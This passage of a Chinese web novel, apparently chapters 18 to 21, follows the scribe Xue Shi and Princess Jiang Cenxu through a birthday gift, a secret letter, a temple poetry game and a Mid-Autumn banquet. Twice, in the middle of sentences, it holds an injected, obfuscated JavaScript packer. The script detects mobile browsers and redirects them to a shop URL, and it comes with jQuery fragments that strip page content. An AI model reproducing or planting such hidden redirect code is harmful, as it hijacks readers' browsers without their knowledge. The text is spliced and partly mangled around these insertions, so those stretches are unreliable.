像是想确定什么,薛适不自觉地加重了些手上力道,朝自己的方向拽了拽,江岑许毫无防备地向前踉跄了下,距离骤然拉近,收回手的瞬间,薛适看着眼前不再被遮掩着的面容,醉得有些反应不过来:“小将军……怎么带着殿下的面具?” 指缝间的视野有限,便让人下意识忽略了其它,只专注于被圈笼的那许目光,在一次次流转间重复记得。 江岑许起身退了几步,不悦道:“薛待诏终于舍得醒了?” “……殿下?”薛适被这熟悉的语调激得抖了下身子,她揉了揉眼四周张望了下,确实只有江岑许一个人,那个小将军并未出现过。 她第一次觉得有种奇怪的感觉堵在心口,像是有什么被忽略了,但又描述不出。 江岑许却未注意薛适疑惑的神色,她从进来的侍从手里接过瓷碗,递给薛适:“喝了。” 思绪被拉回,薛适歪头看了会儿,并未接过,反倒低头摸索着,掏出根五彩而简雅的丝绳,小心翼翼地戴在江岑许骨节分明的左手腕上。 江岑许微愣,垂眸看着自己端着瓷碗的手腕上,蓦地被一根五色缕圈绕,兜兜转转的编织轨迹,相缠相连的艳丽颜色,像是不可割舍的宿命。 “端午时……就想给殿下的。但那时太忙了……我没编完。现在好啦,编完了,也有了送给殿下的理由。” “希望殿下……不要总是把死挂在嘴边…… 要生生不息,事事如愿。 要生辰快乐。” 说完,屋内一时寂静。 只听得见薛适的呼吸沉而绵长,还有江岑许汹涌深沉的眸光似有融化积雪的声响。 江岑许就这样望着,恍惚间竟生出一种错觉。 好像她最在乎的两个家人从来没有离开过,好像她从来不曾在尔虞我诈的深宫中生死沉浮。 她的一切,都会是温暖的,恒久的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12987101|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,生机勃勃的。 而她这瞬产生的,名为生辰祈愿的幻想与希冀,是因为眼前的这个人。 江岑许轻轻拉过欲再度倒下的薛适,将精力只集中于此时,不再去想那些过于美好的妄念。 她微微晃了晃薛适的肩膀,腕上的五色缕绚丽摇曳:“不能睡,得喝下去。” 薛适虽听见了,却是固执地摇了摇头,皱眉嗫嚅道:“不行,我今天还没练完武,要是让父亲发现我偷偷喝水了,他会罚我的……” 江岑许端着瓷碗的手一顿。 她之前查过薛家的背景,重男轻女,重武轻文,所以薛家人从小就苦练武功以做武将为至高无上的荣耀,无论品级大小。 而薛适在习武上却是没有任何天赋,怎么学都学不会,反倒在文上天赋异禀,因而从小吃了不少苦。 “本宫都还没罚你,你爹凭什么敢排在本宫前面?” 江岑许虽再次端起了平日高傲的作态,但却是悉心地朝碗里扇了扇热气:“把醒酒汤喝了,不然明天头疼……要让你赖在我宣微殿不走么?” 明明前半句还很温柔,怎么后半句突然就凶起来了,像是要故意维持自己凶狠形象似的…… 薛适迷迷糊糊地腹诽着,终于拼着破碎残留的一点点意识,乖乖喝完所有醒酒汤。 “谢谢阿姐。” “?” 薛适满足地朝江岑许弯了弯唇,丝毫没察觉自己刚刚说了什么。 江岑许的心情却是难以描述,她静默了好半晌,搓磨着手中瓷碗,最后微沉着声音,有些无可奈何地轻声笑道:“希望薛待诏明早想起这些,不会后悔。” 第二天薛适睁开眼的时候,头痛欲裂都没能影响那句“谢谢阿姐”如魔音般在她脑海中盘旋回响,震得她直接从床上跳了下来。 阿姐…… 叫,叫江岑许?? 她怎么敢的啊!!! 薛适哭丧着脸,还不等想好该如何狡辩——江岑许就已走了进来。 “薛待诏好大的面子。”江岑许意味深长地看着她,“这就是你作为面首的自觉么?” 薛适慌张开口:“殿下,昨天……” 江岑许却是没接着追究,打断了她:“薛待诏很惭愧?” 薛适看着江岑许比起以往过分凝重的神色,心里更慌了,忙屈身欠礼:“臣……在殿下面前失仪了,任殿下惩罚!” 想到昨夜薛适怕被罚不敢喝东西的样子,江岑许皱了皱眉:“怎么只知罚来罚去,本宫的手段哪能这么庸俗?” 这更让人害怕了啊…… 薛适整个人都快趴在了地上,江岑许却是在她身前站定,道:“不如薛待诏帮本宫一个忙吧。” “殿下尽管吩咐,臣一定竭尽全力!” “和那个盒子有关。” 薛适一愣,完全没想到江岑许竟会主动跟她提起这件事。 “殿下……真的相信我?” 江岑许俯身蹲下,与薛适平视,“本宫一向不喜欢被动,薛待诏也不想再因那破盒子的事被他们一直追杀吧。” 衣袖舞动间,薛适清晰看见了江岑许隐约露出的腕上,是自己亲手编织的流溢五彩的色缕。 “既然你先前说,本宫救你是为了一起对付江接和袁敏达,那……” 薛适的视线从腕间缓缓上移,她看见江岑许微微勾起唇角,像是带了莫名的引诱,对她说: “现在该开始了。” 19. 藏遮 “殿下的意思是……” 江岑许起身走到案边,指尖在桌下动了动,只听轻微地“嗒”声,转瞬间,手中已拿着个盒子。 “先前觉察到袁敏达行踪古怪,便暗中跟了下。没想到,他为了摆脱我,竟将盒子直接交于你手。如此行事,不像袁敏达的作风。除非—— 这个盒子有机关,外人打不开;又或者就算盒子打开了,也无法识认其中的密文。 所以,薛待诏要不要堪破一下你曾小心珍视的花梨木盒?” 再次看到这个熟悉的盒子,薛适有些一言难尽。对上江岑许打趣的笑容,她艰难地掀了掀唇:“当然。” 当时的她怎么也无法想到,那个客人会是袁敏达。赠送谢礼不过是声东击西避人耳目的把戏,而找她代笔也只给为了给江岑许送情笺,再顺势下药欲行不轨之事。 反倒当时看起来很是刻薄的江岑许,故引争执是为暗换盒子进行调查。 薛适虽直觉这件事会将她卷进难以承受的争端,但眼下想要抽身已然来不及,几番阴差阳错,她早是局中人。 再次开口时,薛适脸上已是笃定且自信的笑意。 “我有办法可以顺利打开盒子,且万无一失。” 她想起先前被绑时,拂年他们称直接开启盒子会焚烧殆尽,再加之江岑许所言,袁敏达将盒子送出时丝毫不担心的样子,盒中应是冰心笺无疑。 薛适循着正确方法,在水中打开盒子顺利取出信笺,只见上面写着: [离宫将成,还望清缘法师施以密咒,一切依计划。成事在即,谨防差错。] 薛适先前虽从奚玄口中听闻扬州请愿寺两位法师进京的消息,却未想到其中的清缘法师会和冰心笺背后的大皇子扯上关系。 只是自那以后的一连几天,薛适都应着江岑许的指令,埋头在各种梵文古经之间。 连写了好几篇弯弯绕绕的梵文之后,险些拐不回写汉字的笔顺。 好在江岑许让帮的忙只是学会后教她写梵文,而不是让她代写,不然薛适可能会累得短时间内再也不想写字了。 看着对面奋笔疾书的江岑许,薛适思忖道:“殿下学写梵文,是想让清弥法师带你去扬州吗?” 清弥法师钟爱搜集梵文经书,刚好宫中藏有不少罕见珍品,因着没有皇上允许不能直接给人,江岑许便挑了几本最好的认真抄着。 她头也不抬地道:“江接早早通过冰心笺给清缘法师传递消息,说‘一切依计划’。虽不知他的计划是什么,但字为江接亲笔,又为此行刺。而今两位法师刚到长安,江接今早就和父皇提出要去请愿寺为离宫迎请佛骨,以佑离宫顺利建成。薛待诏不觉得太巧了么?” 确实如此。薛适思索了一番,有点明白了江岑许的用意。 “殿下是觉得,信只专门写给了清缘法师,而不是整个请愿寺,所以除了清缘法师,寺内其他僧人很有可能并不知晓大皇子的计划?” 薛适试探着开口,见江岑许神色并无异样,才又缓缓接着道,“所以殿下才选择从清弥法师入手,想着投其所好送梵文经书来打动他,这样就可以表明殿下对佛法的虔诚,也有了一同前去扬州迎请佛骨的理由。即便大皇子有所怀疑,但明面上却也无法阻挠什么。” 江岑许看着她,轻笑了声:“薛待诏把本宫的心思说得这么明白,不怕本宫杀你灭口了?” “臣不会和任何人说的,殿下放心。” 薛适见好就收,立马拿了本经书很是殷勤地帮着一起抄。心里却是小小地腹诽着:连冰心笺都让她一起看过了,想逃也逃不掉了…… 江岑许却嗤道:“在这宫中,真正聪明的人就算知道什么也都烂在肚子里,不然说出来是闲自己死太慢么?” 江岑许话虽不好听,但语调中却带了丝认真。薛适心神微动,不禁想起之前她帮宣凝郡主代笔,江岑许也是话里话外地提醒着她。 薛适不由笑了笑。怎么总爱这样呐,好话非得绕千八百个圈,说出口还非要刻薄得不行。 江岑许写着写着,就见有人食指轻敲了下面前桌案,她抬头看去,薛适站在对面拿了张纸挡在脸上,只露出双眼滴溜溜地转着。 江岑许看了她一眼,然后将目光移落在那张纸上。 [谢殿下深意,臣知晓了。] 旁边还画了朵精巧的莲花,虽小,却与江岑许脸上的千叶莲面具极像。 - 如江岑许所料,清弥法师果然被打动了,答应带她一起去扬州,薛适也终于能放下心,不用再为自己那句“阿姐”惶恐不安。 照例去崇文馆,散学之后江措很是欣喜地过来找她。 “薛待诏可还记得咱们之间的约定?” 薛适恍惚了一瞬,但想了想立马就反应过来:“二皇子是说咱们两个一起为离宫作赋的事情?” “嗯。”江措脸上的笑容如春风和煦,对薛适道,“父皇格外重视这次在扬州修建离宫之事,还特地让大哥去扬州请愿寺迎请佛骨,一部分等离宫修成时请入,一部分于大福殿以积福德。 而作赋肯定要全程亲历才好,所以我就和父皇提出想要一同前去,父皇一听就同意了,还对作赋的事很是满意。” “太好了!”薛适也替江措感到开心,“看来很快就可以完成遥妃娘娘的愿望了。” “父皇已经同意薛待诏和我一起去了。”江措拍了拍薛适的肩膀,笑道,“到时候还请薛待诏多多指教。” 旨意虽来得快,但薛适很快便投入到了准备之中,又同江措清点了下写赋会用到的东西,欠缺的打算出宫采购齐全。 江措看着薛适出门还抱了一摞经书,奇怪道:“薛待诏这是……” “那个……我想着一会儿经过荐福寺时,和清缘清弥两位法师请教一下梵文的笔法。” 江措只道薛适勤学上进,令人敬佩,他在荐福寺外等薛适出来,而他不知道的寺内,薛适径直奔奚玄而去。 奚玄忙着帮昭景帝向寺里询问关于佛骨的问题,看着薛适抱着厚厚一摞经文过来,不由诧异:“薛待诏怎么拿了这么多经书过来?” “我不日要去扬州,怕公公太忙在宫里见不到,所以就来寺里找你了。”薛适将手里平日抄写的经文递给奚玄,“这些我事先抄完了但还没来得及给娘娘,以后就劳烦公公帮忙天天送往蓬莱殿了。二皇子还在外面等,我先走一步。” 不等奚玄应声,薛适说完转身就走了。 奚玄怔愣了会儿,看着手里满满一怀的经文,想必要好些时日才能全部送完。良久,他朝着薛适离开的方向,轻轻开口:“多谢薛待诏……” 薛适和江措从荐福寺出来没走多久,就见天边浓云如浪翻滚,雨丝骤泻。 江措拉着薛适跑到一个亭前:“薛待诏先进都亭驿避避,我去买伞。” 薛适确实对这边不太熟,便点头等江措回来。她抬眸打量着四周,都亭驿虽是驿站,规模却并不小,亭台楼榭相绕协成,宏大又不失雅致。 她刚找了个位置坐下,就看见两个熟悉的身影走了进来,薛适忙缩下身躲在背靠的柱子后面。 “大皇子,如今这么多人都要去扬州,我们是不是……” 江接压低着声音:“劳烦清缘法师提前出发,务必要赶在我们到之前和书院那边说好。” 面上则是走远了将手里的文书递给驿使,声音也恢复了正常音调:“传给扬州刺史吴陵维,让他全权协助本王操办离宫佛骨相关事宜。” 薛适悄悄露出头,见江接朝清缘法师使了个眼色,清缘法师便掩身在经过的进京官员中错身离开了,如果不是有人刻意盯着根本不会发现他。 薛适实在搞不懂江接想做什么,但想必到了扬州,江岑许应该有办法吧。她接着缩回身子等江措回来,却听到江接的脚步声朝她逐渐逼近,带着探寻。 薛适心一沉,如果一直待在这,江接迟早发现她。 但眼下根本没什么好法子,薛适当机立断,拼了命地往外边雨里跑,起码背对着江接,不会被看到脸,也有大雨遮掩。 “又是你?!” 江接冷哼一声,从身上掏出把匕首直朝薛适掷去。 薛适抖着耳朵一惊,赶忙矮腰去躲。恰而身侧有人横臂一伸,一把拦住她的腰将她护在伞下。只听“当”的一声,撑开的伞面被来人稍加旋转,匕首顿然落地。 “娘子别急,小心冲到雨里染了风寒。” 陌生却有些熟悉的语调在身前响起,薛适看着眼 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江接将信将疑,目光再次落在半藏身后的女子身上,蒙着眼的模样,看起来确实很像眼睛不好的样子。 此刻的薛适紧裹着披风,微乱的头发下,被雨水冲掉了黄粉而显露出的容颜素白无暇,像极了温淡而病弱的女子。 江接见确实没什么蹊跷,便也懒得浪费时间再问,直接走了。反正就算真的被人听到,对方也听不出什么玄机。他先前怕薛适听到,也是为了防江岑许,如今看来倒是他多心了。 听得脚步声渐渐远去,薛适停了一会才迟疑开口:“……小将军?” “抱歉薛待诏,等很久了吧。”江措几步跨过赶到薛适身边,“这雨来得急,买伞的人实在太多,好几家都卖完了。” 薛适怔愣了下:“二皇子?”她拉下发带,四处张望了下,大雨滂沱,街人匆匆。 她微微皱了皱眉,轻声道:“你刚刚……有看到什么人吗?” “没有。”江措摇摇头,“发生什么了吗?” 目光随意一扫,落在薛适罩着披风的模样上,江措有些失神:“你这披风……” “啊……刚刚有个好心的公子送我遮雨的。”薛适接过江措手里的伞,收好披风。 江措看着眼前的人,明眸如水,朱唇似糖。隔着雨幕,他总觉这容颜比起平常多了份淡雅与纯净,这一瞬间竟让他觉得,薛适似乎有些男生女相。 “对了二皇子,都亭驿是做什么的呀?” 薛适的声音拉回了江措的思绪,他回神开口:“都亭驿是本朝最大的驿站,一般接送回京的官员,或是给京外传递书信,都会在此。” 薛适大概明白了。江接表面为操办佛骨事宜给扬州刺史吴陵维传信,实则暗中遣清缘法师先一步出发,到时启程也不会有人知道清缘法师的踪影,而江接来都亭驿传信的理由正当也不会引起怀疑。 那小将军呢?难道是要帮萧乘风办些什么事吗…… 一路这样想着,不知不觉间已回到了大明宫。薛适刚一抬头,就见江岑许站在宫门处。 “殿下?”薛适有些意外,“你怎么站在宫门呐?这雨才停。” 江岑许没说话,她深深看了眼薛适,过了会儿才移开目光看向江措:“二哥,四哥似乎找你有急事,你快去看看吧。” 江措刚走,江岑许就一把扯过薛适怀里的披风,直扔到了她头上。 “你就这么进宫?” 薛适猝不及防地从披风下露出眼睛:“怎……怎么了?” “衣冠不整,且——”江岑许低声调笑道,“男女莫辨。” 薛适死死捏着披风,呼吸一滞。 怪不得她感觉路上江措看她的神色都变得疑惑起来,想来大雨冲掉了她不少伪装。 正当她思忖该如何措辞将这个话题移开时,江岑许却没再继续下去,而是带着她走到一处隐秘的地方停下:“快点收拾一下再进宫。” 余光里,薛适睁圆着眼紧张眨巴的样子,活像只待捕的傻兔子。江岑许转过身,背对着欲整理衣装的薛适,不动声色地勾了勾唇。 声音似在风中轻喃,薛适没有听清的后半句是—— “虽然现在,也很好。” 20. 清狂 那天过后,很长一段时间薛适都没见到江岑许。 清晨再次醒来时,眼前已不再是富丽堂皇的大明宫,而是扬州城外群山之间的请愿寺。 请愿寺掩于山林之间,四周竹树环抱,风吹曳动,像是翩然摇晃的帷帘,满目翠绿流动,深秀欲滴。 寺内沧远河纵贯东西,走过石桥,东为歇息处,以僧人及香客的房间为主;西为诵经礼佛的殿宇,属中间大殿最为宏伟,但左右两个偏殿亦是古朴典雅,各有风格。 不远处,木鱼时响时歇,薛适便是在第三声木鱼被敲响时从床榻坐起,看向窗外。 这样的清幽宁静,即便不去打坐诵经,只是站在这里,就足够令浮躁的心,水平如镜。 与行踪不定的江岑许不同,江措则是日复一日于早膳过后,从刺史府过来找她商量写赋的事。 “还是寺里好啊。”江措日常感慨,“吴大人也太过热情些,这日日设宴,美姬如云的……实在让人难以招架。” 江接和江措贵为皇子,到扬州后在刺史吴陵维的恭迎下直奔刺史府。江岑许虽是公主,但因着是受清弥法师之邀,所以来了请愿寺,而薛适官小自然不好去刺史府,便也跟着一起住在了请愿寺。 “二皇子有所不知,请愿寺也有请愿寺的热闹。” “嗯?” 话音刚落,江措就见个小和尚引着十几位少年进了对面的僧舍。 “引路的是清弥法师的小徒弟迟何。”注意到江措的目光,薛适解释道,“迟何说今日长临书院没课,书生们会来寺里品茶斗诗,想来给寺里能添不少热闹。” “各地书生还真是各有不同。”江措有些诧异,“在长安虽也有读书人信佛,却不会有如此规模,看来还是扬州的信佛氛围更浓些。” 扬州佛教兴起时间早,历史悠久,大大小小的寺庙不下数十座。薛适记得她刚到扬州时,一路走来隔几个摊位就会贩卖一处或是檀意悠然的香火,或是塑有佛像的魂瓶,或是繁复古朴的符纸……无论世家贵族还是平民百姓,都虔诚求取。 “扬州很多寺庙都会专门提供食宿来照顾贫苦无依的读书人,而这些读书人在出人头地后,出于感激和怀念,也会经常带朋友回来。”迟何正好招待完几位书生出来,听到江措的话道,“我们请愿寺之所以这么有名,就是因为长临书院的读书人喜聚于此。” 长临书院被称为“可聚天下文人之首”,是本朝最负盛名的书院,也难怪请愿寺的香火越来越旺盛。 “迟何,你在干什么。”还没说几句,就听清弥法师的声音远远传来。虽然他声音温和,但迟何却顿时“噌”地站了起来。 “糟了,师傅定是发现我去接见书院的书生们了……”迟何慌张地挠了挠圆光光的脑袋,“师傅一向不喜书院的人总来寺里,看到我也跟着一起他肯定会生气的……” 但这也确实不能怪迟何。方才书生们来时,只有他一人得空,其他人都不知忙什么去了。 “你别担心,好好和清弥法师说清楚,他肯定不会怪你的。”薛适安慰他。 “可我一会还得给他们送纸……” “我帮你。”薛适轻拍了拍迟何的肩膀,“你也知道,我来寺这几天一直在写东西,笔墨纸砚放在哪我很清楚的。” 当薛适端着笔墨迈进僧舍时,不免有些恍惚。 只见夹杂在众书生之中几个亮亮圆圆的脑袋凑在一块,不知在讨论什么。 怪不得寺里的和尚莫名少了很多,就迟何一人闲着,合着好几个小和尚都偷溜到了这,正和那些书生一起品鉴经文。 其中一个书生捧着经文赞道:“我还是更喜欢清弥法师的经文。不局限于佛法的条条框框,仔细品读后甚至自有一番哲理,像这句‘红尘混沌,原以为是繁华相伴,然看不清的繁华,不过转眼消散。如此一场,我宁作那独舞的空明。’” “既然是经文,还是清缘法师这种更加专业精深的为好,读来让人心境豁然,感觉烦恼什么的都被抚去了。”另一人不以为然。 “那是自然。”有小和尚也跟着道,“清缘法师可是寺里历来最年轻的住持,佛法精深,在皈依佛教前还修行过一段时日的道教,可谓佛道皆通。只是眼下入了请愿寺,所以一门心思只潜心修行佛法,来寺里的百姓有一大半都是奔着听清缘法师诵经来的。” “我看未必。”他对面的小和尚立马反驳,“也有很多人是因为清弥法师来的。清弥法师不仅人温柔,懂得还多,学识才能甚至不比寻常书生差什么。” “那又怎样?等着瞧吧,今年大祭礼上当选住持的肯定还会是清缘法师!” …… 书生们都还没说上几句话,小和尚们倒是各个辩得面红耳赤,压根停不下来。 “既然辩不出结果,诸位又都对两位法师这般敬仰,不如玩个游戏一决胜负。”有人出声打断,“刚刚送纸的公子也一起吧。” 薛适欲跨门离开的脚一顿,闻声朝对面看去,那人简单一身白衣,头上罩着帷帽,看不清神色。 小和尚们也止了争执,众人都来了兴致,屋内渐渐安静下来。 “什么游戏?” “两位法师名中都含‘清’字,不妨以‘清’为令依次作诗,支持清缘法师的为一队,支持清弥法师的为另外一队。答不上来的人,则需要完成在坐任意一人提出的一个要求,最后对出更多诗句的队伍视为今日辩论的获胜方。” “姑娘的主意甚好!”气氛瞬间热络起来,各个跃跃欲试,“谁先开始?” 那姑娘漫不经心地环视了一圈,不知是不是错觉,薛适总觉得她刚才好像看了自己一眼。 “这位公子先来吧,然后依次向右。”那姑娘指道。 薛适抬眼一看,如此一圈下来——她是最后一个。 第一个书生折扇一挥,不假思索道:“清冰一片光照人。” “渚清沙白鸟飞回。” “清……清……”第三个是个小和尚,想半天也没对上,只好认输。 不等在坐的人想好该提什么要求,那姑娘已经开口:“刚开始玩,就简单问小师傅一个问题吧。” 薛适微微扯了扯嘴角,不太相信会是“简单”的问题。小和尚却深感幸运,眼巴巴等待着。 “为什么长临书院的人只单单来请愿寺设宴?” 果然有坑呐…… 这看似是一个问题,但其实在回答的同时,已经默认了长临书院的书生在宴会时基本不去别处,只来请愿寺。 不过薛适也很疑惑这点。 文人墨客大多喜欢在清新雅致的山川竹亭间流觞曲水。几百年来,还是第一次听闻读书人选择聚于寺中。 “哎呀,这个问题应该问我们呀。”有书生按捺不住想要回答,小和尚倒是不慌不忙,回忆道,“那得从三年前说起。当时城里突然遭了瘟疫,源头不知怎么回事,居然在长临书院。虽然刺史已派人及时封了书院,但还是人心惶惶。 不过麻烦的是科考在即,即便很多人瘟疫爆发前后都在家温书并没在书院,但流言纷扰,没人敢为赴京赶考的他们提供住宿,只有清缘法师愿意收留他们,不仅提供食宿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038796|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还亲自为他们诵经祈福。最后不仅瘟疫得以平息,就连考中的书生人数也是长临书院近些年最高的。似乎就是从那以后,书院的人开始常来请愿寺了,久而久之我们也跟着书院来的人学到不少知识呢。” 薛适没想到背后竟是这样的原因。 当久负盛名的书院成了人人避之不及的炼狱时,是请愿寺和清缘法师,愿意扫去不属于长临书院众人的所有病灾与尘埃。 不过在坐的人显然对这事已经了熟于心,因此并未太过震撼。小和尚刚说完,下一个书生就迫不及待地对上了诗。 “金樽清酒斗十千。” “红掌拨清波。” “木落潭水清。” …… 越到后面越不好对,更别说薛适是最后一个。她咬唇冥思苦想半天也没对出来,倒是隐约听见周边有人似乎用气声说着什么。抬眼望去,还不等薛适再开口,有书生已先一步道:“这位小公子怎么一直看那姑娘?” 薛适:“?” 那书生是一轮开始的第一个,薛适最后一个对完接下来就又轮到他了。 可能是怕薛适会抢了他好不容易想出的句子,赶忙见缝插针:“诶,既然对不上来,不如就罚你嗯……离她近一点对视吧。” 书生灵光乍现,很是兴奋地出主意,其他人也跟着附和,乐得看热闹,各个七嘴八舌提议道:“再加一条,不许眨眼,什么时候坚持不住什么时候结束。” 薛适一言难尽地干笑了声,又看了眼对面那人,只听她声音懒懒的,却带着迫人的语调:“是要我过去?” 薛适忙摆手摇头。 那姑娘没听见回答,转过头要看时,身边一阵风轻轻落下,清爽的微凉裹挟着周身的空气,都带上了她身上缭绕的墨香,薛适已坐在她身边,轻声道:“开始啦。” 午后的阳光穿过镂空的雕花窗,投下细碎如金的光影,隐隐洒落在临窗的薛适身上。 初秋的微风拂过对面女子帷帽四周的纱,那一瞬间,两人交错碰撞的视线仿佛能刻下空气的纹理。 帷帽之下,隔着面具的背后,那双眼噙着清浅的笑意,好整以暇地看着对面的薛适瞪红了眼一眨不眨,还微张着嘴巴,活像只乖巧温顺的呆兔子。她勾了勾唇角,轻笑了声。 “傻瓜。” 薛适下意识眨巴了下眼,很是茫然地看过去。 这一眨眼,她整个人瞬间惨兮兮地泪流满面。薛适转了转酸涩的眼,竭力将泪水圈进眼眶,看向对面的人。 眼前晃过一抹白,距离被悄然拉近。薛适看见对面的人微倾着身子,眼中笑意促狭,正凝视着她。 “直到相思了无益。” 薛适这才听清刚刚那句气声的内容。虽然晚了,但她还是立即接道:“未妨惆怅是清狂?” 惩罚结束,一局终了,最后是支持清缘法师的队伍赢了,众人起身离开约好改日再聚,几个小和尚则是刚一出门就被抓回去罚抄经了。 见人走得差不多,薛适才开口道:“殿下这是……” 方才江岑许一开口薛适就听出来了,所以才会答应留下跟着对诗。 抬眼看向眼前很久没见着影的人,薛适后知后觉发现,这还是她第一次见江岑许穿白,像是清润如山林月下的谪仙,简单而耀眼,和平时的感觉截然不同。 许是不常见,薛适莫名觉得好像哪里怪怪的。 江岑许却并未发觉,她摘下帷帽,轻飘飘看了薛适一眼,没有答话,反倒有些嫌弃地啧了声:“薛待诏的诗文水平是遁出红尘,打算出家了么?” 21. 月宴 “……” 谪仙感瞬间就没了。 果然啊,数日不见,江岑许带着她熟悉的嘴又回来了。 薛适很是谦卑地笑了笑,暗搓搓阴阳怪气:“承蒙殿下看重,特地把臣放在最后一个,可臣到底才疏学浅对不出诗句,实在有负殿下信任。” “才疏学浅啊……”江岑许玩味开口,边往外走边道,“华妆为谁卸,罗帐为谁掀。” 薛适:? “挥袖解衣带,叠影缠幕帘。” “殿下!”薛适赶忙出声打断,想要阻止这羞赧的回忆突如其来地攻击她,“……我有事要说。” 虽是为了转移话题,但薛适也确实有话想告诉,只是之前一直见不到江岑许。 走到石桌前时,江措已经离开了。 江岑许不动声色地坐在朝阳那边,将背阴处的石凳空了出来。初秋温度并不低,又恰逢现在日头正盛,直晃得人睁不开眼。 薛适就近坐在树荫下,道:“殿下是不是觉得……请愿寺和长临书院之间的关系有问题,所以才故意借飞花令打探?” 江岑许知道她在笔墨诗文上比较擅长,所以故意把她放到最后,让那些不精诗文的小和尚排在前面。刚开始玩其他人一时想不出要提什么要求,而江岑许便可以迅速反应,早早提出已经预先想好的问题,还不会引人怀疑。 “先前我在都亭驿偶然听到大皇子和清缘住持的谈话,”薛适细细回忆着,不由皱紧了眉,“大皇子让清缘住持先出发,早点回扬州,不知要和哪个书院说些什么。眼下看来,他们口中的书院很有可能是指长临书院,只是不知道他们具体想做什么……啊!” 正说着,薛适痛得轻呼了声。江岑许不知什么时候凑上前,屈指往她的眉毛上狠狠弹了下。 “薛待诏还是好好写你的赋吧,别整天操心这些。”江岑许说完,还趁薛适不注意,又将另一个眉毛也弹了,手下力气简直毫不留情。 薛适一手摸着一个眉毛,虽然她听出江岑许是不想让她牵扯进这些,但一对上面前那十分嚣张且得意的面孔,她鬼使神差地就想要伸手,小小地反抗一下……可惜还没等伸出半根手指,迟何的声音忽地传来,打断了她。 “你们原来都在这啊。”迟何急匆匆跑近,“吴大人日日设宴,日日邀五公主前去,但一直也没见到五公主。今日中秋,公主也终于得了空,刺史府刚刚派人传话,问公主可要前去赴宴?” 这么一提,薛适才想起今日是中秋。 那江岑许肯定不会去了。她性子那样疏离,又和江接多有龃龉,碰到一起少不了要互相试探,好好的节日都过不舒坦。 谁想江岑许竟毫不犹豫:“本宫换身衣服就去。”薛适有些意外,江岑许却是看了她一眼,语带命令,“你也一起。” 两人收拾完,动身前往刺史府。路上,薛适却是一步三回头。 她看了看身后已经看不见的请愿寺,又看了看面前不知在哪个尽头的刺史府,终于还是问出了口。 “殿下,我们……是要走着去嘛?” “你有意见?” “没意见没意见。”薛适忙笑呵呵地否定。 就是走到刺史府指不定是什么时辰了。 两人从请愿寺出来一路步行,虽然走久了小腿有点胀,但步行看过的风景远比坐在马车里要开阔而生动。来扬州后薛适还没下山过,刚好可以好好逛逛,反正她也不想那么快就见到江接。 今晚无云,圆满的月亮高悬于空,但又似乎伸手便能触碰,连同流泻的一圈圈光晕,像是为这深沉无边的夜色染上了层层温和的柔光。 月色之下,走在前面的绛紫色身影秀挺翩然,竹青色的身影晃在后面,不远不近。 “殿下你看,有十五个月亮!” 瘦西湖畔,五亭桥旁,薛适透过一个个桥洞认真数了番,欣喜地朝江岑许指道。 湖面上,轻缓的涟漪摇晃着满池月影,在水风荡漾中,被渐变拉长。 “嗯。”江岑许微一点头,走到薛适身边,叫了她一声。 “薛待诏。” “唔……” 薛适回过头刚要开口应话,嘴里却冷不丁地被人塞了块月饼,糯白透亮,还撒了些椰蓉,像极了月亮。 “中秋快乐,”江岑许垂眸看向薛适唇间的月饼,声音噙着笑,“第十六个月亮。” 似乎是在说月饼,又似乎…… 是在说她。 两人又走了会儿,热闹的街景渐渐退去,远处树下停着辆马车。 薛适迟疑了一瞬,原来江岑许说走着去只是骗她的呀。 注意到薛适投来的目光,江岑许似有不耐:“快点。” “是!”薛适并未戳破她的小别扭,笑着跟上。 甫一进入刺史府,薛适便感到一阵清凉。整个府邸围绕中心湖水建成,大面积的水景,连带着空气中也带了湿润的水汽,清新非常。 “素闻五公主才思惊绝,气度不凡,今日可终于得见。”吴陵维哈哈笑着,赶忙过来相迎。 宴会设在湖上亭台之中,江接江措早已坐好,吴陵维一个眼色,身边跟着的侍从忙抬起江岑许的裙摆,免得沾染一路蜿蜒的阶上晕过的水雾。 江岑许却是一甩衣摆:“不必了。本宫配不上吴大人的一句‘才思惊绝’。”她语气淡淡,嘴边勾起丝玩味的弧度,“传言怎么传的就怎么说,吴大人润色得如此夸张,还维护至斯……是仰慕本宫?” “下官……”吴陵维愣住了,不是他在拍马屁吗?怎么说着说着,反倒把自己搭了进去? “那还真不巧,本宫嫌你年纪大。”也不管吴陵维什么神色,江岑许轻飘飘道,“收心吧,别仰慕了。” 直说得吴陵维愣在原地,嘴巴大张根本不知该如何反应。 薛适跟在后面,对此有些习惯地笑了笑,然后朝一旁局促的侍从小声道:“我来吧。”她轻轻捏起江岑许拖曳的衣摆,避免沾染太多两侧的湖水。 江岑许的嘴吴陵维和在场的扬州官员虽没见识过,但江接等人早已“深受其害”,眼下倒是接上了话茬:“想来小五来扬州这些时日是听到了不少流言蜚语,才会如此生气。小五也是,与其天天在城里转悠听流言受气,还不如日日受邀来吴大人的宴会上快活。” 吴陵维抓紧由着话头,为刚才的自己力挽狂澜:“五公主都玩了哪些地方?若是不尽兴,下官派人再带公主好好玩上几天。” 薛适坐在后面默默听着,心道原来江岑许这段时日是去游玩了,怪不得她一直没在请愿寺看见她 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话一出口,薛适也察觉出不对。江岑许那般心思深沉的人,怎么可能住进刺史府是为了玩? 